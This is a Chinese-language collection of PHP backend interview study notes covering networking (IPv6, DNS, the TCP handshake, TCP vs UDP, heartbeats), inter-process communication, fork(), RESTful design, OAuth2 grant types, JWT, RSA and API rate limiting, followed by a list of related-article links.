7.更好的頭部格式。IPV6使用新的頭部格式,其選項與基本頭部分開,如果需要,可將選項插入到基本頭部與上層資料之間。這就簡化和加速了路由選擇過程,因為大多數的選項不需要由路由選擇。
8.新的選項。IPV6有一些新的選項來實現附加的功能。
網路程式設計篇
TCP 三次握手流程
php提供了兩個函式可以使ip和int互相轉換:ip2long()和long2ip(),系統函式小bug:ip某段加個前導0就會導致轉換結果錯誤,具體演算法原理(第一段乘以256的三次方,第二段乘以256的平方,第三段乘以256、最後總和)檢視以下連結介紹:
這裡有兩種演算法舉例
192.168.0.1/16 是什麼意思
學過計算機網路課程的應該不難理解。
192.168.0.0/16表示網路碼佔16位,也就是說該網路上可以有65534個主機(2^16-2)IP範圍:192.168.0.1~192.168.255.254,192.168.255.255是廣播地址,不能被主機使用。設定IP地址的時候:192.168.x.y 子網掩碼:255.255.0.0
DNS 主要作用是什麼?
通俗的講,我覺得dns就是ip和域名之間的翻譯器,學名叫域名解析器,下面是術語解釋:
DNS是域名系統 (Domain Name System) 的縮寫,該系統用於命名組織到域層次結構中的計算機和網路服務。DNS 命名用於 Internet 等 TCP/IP 網路中,通過使用者友好的名稱查詢計算機和服務。當使用者在應用程式中輸入 DNS 名稱時,DNS 服務可以將此名稱解析為與之相關的其他資訊,如 IP 地址。因為,你在上網時輸入的網址,是通過域名解析系解析找到相對應的IP地址,這樣才能上網。其實,域名的最終指向是IP。
IPv4 與 v6 區別
與IPV4相比,IPV6具有以下幾個優勢:
1.IPv6具有更大的地址空間。IPv4中規定IP地址長度為32,最大地址個數為2^32;而IPv6中IP地址的長度為128,即最大地址個數為2^128。與32位地址空間相比,其地址空間增加了2^128-2^32個。
2.IPv6使用更小的路由表。IPv6的地址分配一開始就遵循聚類(Aggregation)的原則,這使得路由器能在路由表中用一條記錄(Entry)表示一片子網,大大減小了路由器中路由表的長度,提高了路由器轉發資料包的速度。
3.IPv6增加了增強的組播(Multicast)支援以及對流的控制(Flow Control),這使得網路上的多媒體應用有了長足發展的機會,為服務質量(QoS,Quality of Service)控制提供了良好的網路平臺。
4.IPv6加入了對自動配置(Auto Configuration)的支援。這是對DHCP協議的改進和擴充套件,使得網路(尤其是區域網)的管理更加方便和快捷。
5.IPv6具有更高的安全性。在使用IPv6網路中使用者可以對網路層的資料進行加密並對IP報文進行校驗,在IPV6中的加密與鑑別選項提供了分組的保密性與完整性。極大的增強了網路的安全性。
6.允許擴充。如果新的技術或應用需要時,IPV6允許協議進行擴充。
7.更好的頭部格式。IPV6使用新的頭部格式,其選項與基本頭部分開,如果需要,可將選項插入到基本頭部與上層資料之間。這就簡化和加速了路由選擇過程,因為大多數的選項不需要由路由選擇。
8.新的選項。IPV6有一些新的選項來實現附加的功能。
網路程式設計篇
TCP 三次握手流程
原文連結(還有更多介紹)
在TCP/IP協議中,TCP協議提供可靠的連線服務,採用三次握手建立一個連線.
第一次握手:建立連線時,客戶端傳送syn包(syn=j)到伺服器,並進入SYN_SEND狀態,等待伺服器確認;
SYN:同步序列編號(Synchronize Sequence Numbers)
第二次握手:伺服器收到syn包,必須確認客戶的SYN(ack=j+1),同時自己也傳送一個SYN包(syn=k),即SYN+ACK包,此時伺服器進入SYN_RECV狀態;
第三次握手:客戶端收到伺服器的SYN+ACK包,向伺服器傳送確認包ACK(ack=k+1),此包傳送完畢,客戶端和伺服器進入ESTABLISHED狀態,完成三次握手.
完成三次握手,客戶端與伺服器開始傳送資料
TCP、UDP 區別,分別適用場景
TCP(Transmission Control Protocol,傳輸控制協議)與UDP(User Datagram Protocol,使用者資料包協議)都是OSI七層模型中的傳輸層協議,他們的區別主要體現在以下這幾個方面
(1)是否面向連線
【1】TCP是面向連線的,即傳送資料前需要與目標主機建立連線。
【2】UDP面向無連線的,傳送資料前不需要建立連線。
(2)是否提供可靠交付
【1】TCP在傳輸資料之前,需要三次握手來建立連線,並且通過資料校驗、擁塞控制、重傳控制、滑動視窗和確認應答等機制來實現可靠交付。資料傳輸過程中,資料無丟失,無重複,無亂序。
【2】UDP不提供可靠交付,只有通過檢驗和去丟棄那些不完整的報文,盡最大努力來保證交付的可靠性。
(3)工作效率
【1】前面提到TCP傳輸資料的控制非常多,這也導致了TCP網路開銷大,工作效率相對低下,對系統的資源要求也比較高。
【2】UDP傳輸控制簡單,因此工作效率相對高,對系統資源的要求偏低。
(4)實時性
【1】TCP傳輸資料的控制程式較多,大幅度降低了資料傳輸的實時性。
【2】UDP協議簡單,資料實時性較高。
(5)安全性
【1】TCP傳輸機制多,容易被利用,例如DOS、DDOS攻擊,因此在安全性上,不如UDP。
【2】UDP沒有TCP這麼多機制,被利用的機會就會少很多,但UDP不是絕對安全,也會被攻擊。
TCP與UDP的適用場景
TCP:
對資料傳輸的質量有較高要求,但對實時性要求不高。比如HTTP,HTTPS,FTP等傳輸檔案的協議以及POP,SMTP等郵件傳輸的協議,應選用TCP協議。
UDP:
只對資料傳輸的實時性要求較高,但不對傳輸質量有要求。比如視訊傳輸、實時通訊等,應選用UDP協議。
有什麼辦法能保證 UDP 高可用性(瞭解)
TCP 粘包如何解決?
TCP粘包是指傳送方傳送的若干包資料到接收方接收時粘成一包,從接收緩衝區看,後一包資料的頭緊接著前一包資料的尾。
如何解決:
(1)傳送方
對於傳送方造成的粘包現象,我們可以通過關閉Nagle演算法來解決,使用TCP_NODELAY選項來關閉Nagle演算法。
(3)應用層處理
應用層的處理簡單易行!並且不僅可以解決接收方造成的粘包問題,還能解決傳送方造成的粘包問題。解決方法就是迴圈處理:應用程式在處理從快取讀來的分組時,讀完一條資料時,就應該迴圈讀下一條資料,直到所有的資料都被處理;但是如何判斷每條資料的長度呢?兩種途徑:
1)格式化資料:每條資料有固定的格式(開始符、結束符),這種方法簡單易行,但選擇開始符和結束符的時候一定要注意每條資料的內部一定不能出現開始符或結束符;
2)傳送長度:傳送每條資料的時候,將資料的長度一併傳送,比如可以選擇每條資料的前4位是資料的長度,應用層處理時可以根據長度來判斷每條資料的開始和結束。
為什麼需要心跳?
如果沒有特意的設定某些選項或者實現應用層心跳包,TCP空閒的時候是不會傳送任何資料包。也就是說,當一個TCP的socket,客戶端與服務端誰也不傳送資料,會一直保持著連線。這其中如果有一方異常掉線(例如當機、路由被破壞、防火牆切斷連線等),另一端如果沒有傳送資料,永遠也不可能知道。這對於一些服務型的程式來說,是災難性的後果,將會導致服務端socket資源耗盡。
所以為了保證連線的有效性、及時有效地檢測到一方的非正常斷開,保證連線的資源被有效的利用,我們就會需要一種保活的機制,通常改機制兩種處理方式:1、利用TCP協議層實現的Keepalive;2、自己在應用層實現心跳包。
什麼是長連線?
這裡所說的連線是指網路傳輸層的使用TCP協議經過三次握手建立的連線;長連線是指建立的連線長期保持,不管此時有無資料包的傳送;有長連線自然也有短連線,短連線是指雙方有資料傳送時,就建立連線,傳送幾次請求後,就主動或者被動斷開連線。
心跳和長連線在一起介紹的原因是,心跳能夠給長連線提供保活功能,能夠檢測長連線是否正常(這裡所說的保活不能簡單的理解為保證活著,具體來說應該是一旦鏈路死了,不可用了,能夠儘快知道,然後做些其他的高可用措施,來保證系統的正常執行)。
HTTPS 是怎麼保證安全的?
說簡單點就是通過加密傳輸過程,具體檢視以下連結:
流與資料包的區別
“TCP是一種流模式的協議,UDP是一種資料包模式的協議”,
1、TCP
打個比方比喻TCP,你家裡有個蓄水池,你可以裡面倒水,蓄水池上有個龍頭,你可以通過龍頭將水池裡的水放出來,然後用各種各樣的容器裝(杯子、礦泉水瓶、鍋碗瓢盆)接水。 上面的例子中,往水池裡倒幾次水和接幾次水是沒有必然聯絡的,也就是說你可以只倒一次水,然後分10次接完。另外,水池裡的水接多少就會少多少;往裡面倒多少水,就會增加多少水,但是不能超過水池的容量,多出的水會溢位。
結合TCP的概念,水池就好比接收快取,倒水就相當於傳送資料,接水就相當於讀取資料。好比你通過TCP連線給另一端傳送資料,你只呼叫了一次write,傳送了100個位元組,但是對方可以分10次收完,每次10個位元組;你也可以呼叫10次write,每次10個位元組,但是對方可以一次就收完。(假設資料都能到達)但是,你傳送的資料量不能大於對方的接收快取(流量控制),如果你硬是要傳送過量資料,則對方的快取滿了就會把多出的資料丟棄。 這種情況是設定非阻塞I/O模型,會把記憶體耗盡,因為socket是存在核心中的。
2、UDP
UDP和TCP不同,傳送端呼叫了幾次write,接收端必須用相同次數的read讀完。UPD是基於報文的,在接收的時候,每次最多隻能讀取一個報文,報文和報文是不會合並的,如果緩衝區小於報文長度,則多出的部分會被丟棄。也就說,如果不指定MSG_PEEK標誌,每次讀取操作將消耗一個報文。
3、為什麼
其實,這種不同是由TCP和UDP的特性決定的。TCP是面向連線的,也就是說,在連線持續的過程中,socket中收到的資料都是由同一臺主機發出的(劫持什麼的不考慮),因此,知道保證資料是有序的到達就行了,至於每次讀取多少資料自己看著辦。
而UDP是無連線的協議,也就是說,只要知道接收端的IP和埠,且網路是可達的,任何主機都可以向接收端傳送資料。這時候,如果一次能讀取超過一個報文的資料,則會亂套。比如,主機A向傳送了報文P1,主機B傳送了報文P2,如果能夠讀取超過一個報文的資料,那麼就會將P1和P2的資料合併在了一起,這樣的資料是沒有意義的。
程式間通訊幾種方式,最快的是哪種?
1.無名管道( pipe ):管道是一種半雙工的通訊方式,資料只能單向流動,而且只能在具有親緣關係的程式間使用。程式的親緣關係通常是指父子程式關係。
2.高階管道(popen):將另一個程式當做一個新的程式在當前程式程式中啟動,則它算是當前程式的子程式,這種方式我們成為高階管道方式。
3.有名管道 (named pipe) : 有名管道也是半雙工的通訊方式,但是它允許無親緣關係程式間的通訊。
4.訊息佇列( message queue ) : 訊息佇列是由訊息的連結串列,存放在核心中並由訊息佇列識別符號標識。訊息佇列克服了訊號傳遞資訊少、管道只能承載無格式位元組流以及緩衝區大小受限等缺點。
5.訊號量( semophore ) : 訊號量是一個計數器,可以用來控制多個程式對共享資源的訪問。它常作為一種鎖機制,防止某程式正在訪問共享資源時,其他程式也訪問該資源。因此,主要作為程式間以及同一程式內不同執行緒之間的同步手段。
6.訊號 ( sinal ) : 訊號是一種比較複雜的通訊方式,用於通知接收程式某個事件已經發生。
7.共享記憶體( shared memory ) :共享記憶體就是對映一段能被其他程式所訪問的記憶體,這段共享記憶體由一個程式建立,但多個程式都可以訪問。共享記憶體是最快的 IPC 方式,它是針對其他程式間通訊方式執行效率低而專門設計的。它往往與其他通訊機制,如訊號兩,配合使用,來實現程式間的同步和通訊。
8.套接字( socket ) : 套解字也是一種程式間通訊機制,與其他通訊機制不同的是,它可用於不同機器間的程式通訊
fork() 會發生什麼?
一個程式,包括程式碼、資料和分配給程式的資源。fork()函式通過系統呼叫建立一個與原來程式幾乎完全相同的程式,也就是兩個程式可以做完全相同的事,但如果初始引數或者傳入的變數不同,兩個程式也可以做不同的事。
一個程式呼叫fork()函式後,系統先給新的程式分配資源,例如儲存資料和程式碼的空間。然後把原來的程式的所有值都複製到新的新程式中,只有少數值與原來的程式的值不同。相當於克隆了一個自己。
一個有趣的問題:
連續兩次fork()會產生幾個程式呢?fork();fork();會產生幾個程式呢?
新建立3個,加上一開始的父程式,共4個
假定當前程式為A,
fork(); 產生第一個子程式 A1
fork(); A呼叫fork產生它的子程式A2, 前一個子程式A1呼叫fork再次產生程式 A11
所有總共產生了3個子程式,分別是 A1, A2, A11
API 篇
RESTful 是什麼
RESTful指API的設計風格,重點在於理解REST -- REpresentational State Transfer。全稱是 Resource Representational State Transfer:通俗來講就是:資源在網路中以某種表現形式進行狀態轉移。分解開來:
Resource:資源,即資料(前面說過網路的核心)。比如 newsfeed,friends等;
Representational:某種表現形式,比如用JSON,XML,JPEG等;
State Transfer:狀態變化。通過HTTP動詞實現。
更通俗更好理解的一個說法:
看Url就知道要什麼
看http method就知道幹什麼
看http status code就知道結果如何
如何在不支援 DELETE 請求的瀏覽器上相容 DELETE 請求
沒有找到太多資料,多數是這樣做:
可以用POST來代替PUT和DELETE, 比如你可以埋一個hidden field叫 _method, <input type="hidden" name="_method" value="PUT">. 這樣,你在後臺可以根據這個欄位來識別.
常見 API 的 APP_ID APP_SECRET 主要作用是什麼?闡述下流程
客戶端(app/瀏覽器)將使用者導向第三方認證伺服器
使用者在第三方認證伺服器,選擇是否給予客戶端授權
使用者同意授權後,認證伺服器將使用者導向客戶端事先指定的重定向URI,同時附上一個授權碼。
客戶端將授權碼傳送至伺服器,伺服器通過授權碼以及APP_SECRET向第三方伺服器申請access_token
伺服器通過access_token,向第三方伺服器申請使用者資料,完成登陸流程,
APP_SECRET 儲存在客戶端,客戶端獲取授權碼之後,直接通過授權碼和 APP_SECRET 去第三方換取 access_token。
APP_SECRET 儲存在服務端,客戶端獲取授權碼之後,將授權碼傳送給伺服器,伺服器通過授權碼和 APP_SECRET 去第三方換取 access_token。(推薦)
API 請求如何保證資料不被篡改?
通訊使用https;
請求籤名,防止引數被篡改,簽名很重要,比如微信阿里等的對外介面的簽名功能。
身份確認機制,每次請求都要驗證是否合法;
APP中使用ssl pinning防止抓包操作;
對所有請求和響應都進行加解密操作。
JSON 和 JSONP 的區別
Json和JsonP雖然只差一個字母,但卻根本不是一回事:原文連結
JSON是一種描述資訊的格式,或者叫做資料描述格式;
jsonp是一種非官方跨域資料互動協議,如同ajax一樣,它也不一定非要用json格式來傳遞資料,如果你願意,字串都行,只不過這樣不利於用jsonp提供公開服務。總而言之,jsonp不是ajax的一個特例,哪怕jquery等巨頭把jsonp封裝進了ajax,也不能改變這一點!jsonp是一種跨域請求方式。主要原理是利用了script標籤可以跨域請求的特點,由其src屬性傳送請求到伺服器,伺服器返回js程式碼,網頁端接受響應,然後就直接執行了,這和通過script標籤引用外部檔案的原理是一樣的。Jsonp只支援Get請求方式。
資料加密和驗籤的區別
如果要用最簡單的方法來解釋,就是加密和簽名是兩個相反的過程。這裡你提這個問題,一般來說是指的非對稱的情況。在非對稱的情況下,加密過程是把私鑰自己儲存下來,把公鑰開放了釋出出去,然後其他人通過公鑰加密給你通訊,由於只能由私鑰解密,所以最後資料只有你能夠讀取;簽名就正好相反,是你把資料通過私鑰加密瞭然後把資料發出去,別人能夠通過你的公鑰解密資料就表示這個資料是你發出來的。
RSA 是什麼
來自維基:
RSA加密演算法是一種非對稱加密演算法。在公開金鑰加密和電子商業中RSA被廣泛使用。對極大整數做因數分解的難度決定了RSA演算法的可靠性。換言之,對一極大整數做因數分解愈困難,RSA演算法愈可靠。假如有人找到一種快速因數分解的演算法的話,那麼用RSA加密的資訊的可靠性就肯定會極度下降。但找到這樣的演算法的可能性是非常小的。今天只有短的RSA鑰匙才可能被強力方式解破。到當前為止,世界上還沒有任何可靠的攻擊RSA演算法的方式。只要其鑰匙的長度足夠長,用RSA加密的資訊實際上是不能被解破的。
API 版本相容怎麼處理
這個問題不知問的是API多版本如何區分使用還是問的新版API怎麼相容舊版,如果是前者一般需要維護多個版本程式碼,呼叫時這樣區分:
從設計原則,版本寫在 header 裡面;從方便新手,寫在 URL 裡面如api.xxxx.com/v1/xxx;或者直接同時給出多個版本文件,讓呼叫者自己選。
如果是後者那就不知道了。
限流(木桶、令牌桶)
木桶不知是打錯字了還是不同名稱還是更高階演算法,這裡只找到了漏桶和令牌桶:
每一個對外提供的API介面都是需要做流量控制的,不然會導致系統直接崩潰。很簡單的例子,和保險絲的原理一樣,如果用電符合超載就會燒斷保險絲斷掉電源以達到保護的作用。API限流的意義也是如此,如果API上的流量請求超過核定的數值我們就得對請求進行引流或者直接拒絕等操作。
漏桶演算法(Leaky Bucket),如圖所示,把請求比作是水,水來了都先放進桶裡,並以限定的速度出水,當水來得過猛而出水不夠快時就會導致水直接溢位,即拒絕服務。
令牌桶演算法的原理是系統會以一個恆定的速度往桶裡放入令牌,而如果請求需要被處理,則需要先從桶裡獲取一個令牌,當桶裡沒有令牌可取時,則拒絕服務。從原理上看,令牌桶演算法和漏桶演算法是相反的,一個“進水”,一個是“漏水”。
漏桶演算法與令牌桶演算法的區別在於,漏桶演算法能夠強行限制資料的傳輸速率,令牌桶演算法能夠在限制資料的平均傳輸速率的同時還允許某種程度的突發傳輸。
OAuth 2 主要用在哪些場景下
密碼模式(resource owner password credentials)
這種模式是最不推薦的,因為 client 可能存了使用者密碼
這種模式主要用來做遺留專案升級為 oauth2 的適配方案
當然如果 client 是自家的應用,也是可以
支援 refresh token
授權碼模式(authorization code)
這種模式算是正宗的 oauth2 的授權模式
設計了 auth code,通過這個 code 再獲取 token
支援 refresh token
簡化模式(implicit)
這種模式比授權碼模式少了 code 環節,回撥 url 直接攜帶 token
這種模式的使用場景是基於瀏覽器的應用
這種模式基於安全性考慮,建議把 token 時效設定短一些
不支援 refresh token
客戶端模式(client credentials)
這種模式直接根據 client 的 id 和金鑰即可獲取 token,無需使用者參與
這種模式比較合適消費 api 的後端服務,比如拉取一組使用者資訊等
不支援 refresh token,主要是沒有必要
JWT
目前lz主要使用的使用者認證體系,全稱JSON Web Tokens,根據維基百科的定義,JSON WEB Token(JWT,讀作 [/dʒɒt/]),是一種基於JSON的、用於在網路上宣告某種主張的令牌(token)。JWT通常由三部分組成: 頭資訊(header), 訊息體(payload)和簽名(signature)。
一個很好理解的對jwt的介紹:
服務B你好, 服務A告訴我,我可以操作<JWT內容>, 這是我的憑證(即JWT)
PHP 中 json_encode(['key'=>123]); 與 return json_encode([]); 區別,會產生什麼問題?如何解決
這個問題lz才疏學淺表示不能理解,因為字面意思看只是有沒有return的區別,也就是返回不返回json_encode後的資料了,其他暫無法看出。
加分項
瞭解常用語言特性,及不同場景適用性。
- PHP VS Golang
Golang是類似C/C++的靜態後端語言,天生對高併發程式設計支援較好。
- PHP VS Python
- PHP VS JAVA
語言對比有太多的維度和背景,而且有時候並沒有意義。實際開發還是應該綜合各方面因素選擇最適合的,而不是看市場流行和賣點如何。
瞭解 PHP 擴充套件開發
幾篇文章作為擴充套件閱讀:
簡書:php擴充套件開發
思否:php7擴充套件開發
Laravel-china:我的第一個php擴充套件
熟練掌握 C
雖然現在高校中程式設計大部分都是從c學起,但個人認為,懂一點c容易,要達到熟練掌握的目標還是很難滴。
相關文章
- 自己整理的php面試知識點PHP面試
- 搞定PHP面試 - HTTP協議知識點整理PHP面試HTTP協議
- Vue 路由知識點歸納總結Vue路由
- 搞定PHP面試 - 正規表示式知識點整理PHP面試
- jQuery面試知識點整理jQuery面試
- Java研發知識點全歸納 (入口)Java
- 物件導向知識點總結歸納物件
- PHP 易錯知識點整理PHP
- Vue 面試中常問知識點整理Vue面試
- Kotlin知識歸納(十四) —— 反射Kotlin反射
- Kotlin知識歸納(七) —— 集合Kotlin
- Kotlin知識歸納(五) —— LambdaKotlin
- Kotlin知識歸納(八) —— 序列Kotlin
- 前端面試知識點目錄整理前端面試
- Kotlin知識歸納(十三) —— 註解Kotlin
- Kotlin知識歸納(十二) —— 泛型Kotlin泛型
- Kotlin知識歸納(十) —— 委託Kotlin
- Kotlin知識歸納(九) —— 約定Kotlin
- 前端學習記錄 1:HTML 基礎知識點歸納前端HTML
- JVM 面試知識整理JVM面試
- 高階 Java 面試通關知識點整理Java面試
- php面試考點整理PHP面試
- Kotlin知識歸納(四) —— 介面和類Kotlin
- JavaScript核心概念歸納整理JavaScript
- JAVA核心面試知識整理Java面試
- JavaScript知識點整理JavaScript
- CSS知識點整理CSS
- CANFD知識點整理
- MQTT知識點整理MQQT
- 面試知識點面試
- 資料結構第一章知識點歸納總結資料結構
- Kotlin知識歸納(一) —— 基礎語法Kotlin
- Kotlin知識歸納(十一) —— 高階函式Kotlin函式
- 對應的前端知識總結歸納(常被問到的知識)前端
- Android 名企面試題及涉及知識點整理Android面試題
- Flow 常用知識點整理
- 原生JS知識點整理JS
- Runtime知識點整理